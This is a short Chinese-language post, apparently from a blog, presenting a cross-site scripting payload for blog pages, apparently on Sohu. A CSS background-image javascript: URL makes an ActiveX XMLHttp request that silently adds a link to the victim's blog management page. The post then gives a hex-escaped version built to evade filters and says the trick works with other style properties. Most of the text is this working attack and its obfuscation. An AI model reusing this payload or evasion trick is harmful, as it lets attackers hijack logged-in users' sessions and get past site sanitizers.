其实很简单,就是两次转码.
<DIV STYLE="background-image: url(javascript:var XmlHttp=new ActiveXObject("

Microsoft.XMLhttp"); XmlHttp.Open("get","/manage/link.do?m=add&title=S0n9%20bl09&desc=This%20is%20XSS%20TEST%20%21&link=http%3A//s0n9.blog.sohu.com&_",true); XmlHttp.send(null);)">

ASCII转码参考 http://s0n9.blog.sohu.com/16002288.html

写成下面16进制转义字符串
<div style="background-image:\0075\0072\006C\0028\006A\0061\0076\0061\0073\0063\0072\0069\0070\0074\003A\0065\0076\0061\006C\0028\0053\0074\0072\0069\006E\0067\002E\0066\0072\006F\006D\0043\0068\0061\0072\0043\006F\006......"></div>

此方法也可用于其他样式表属性.
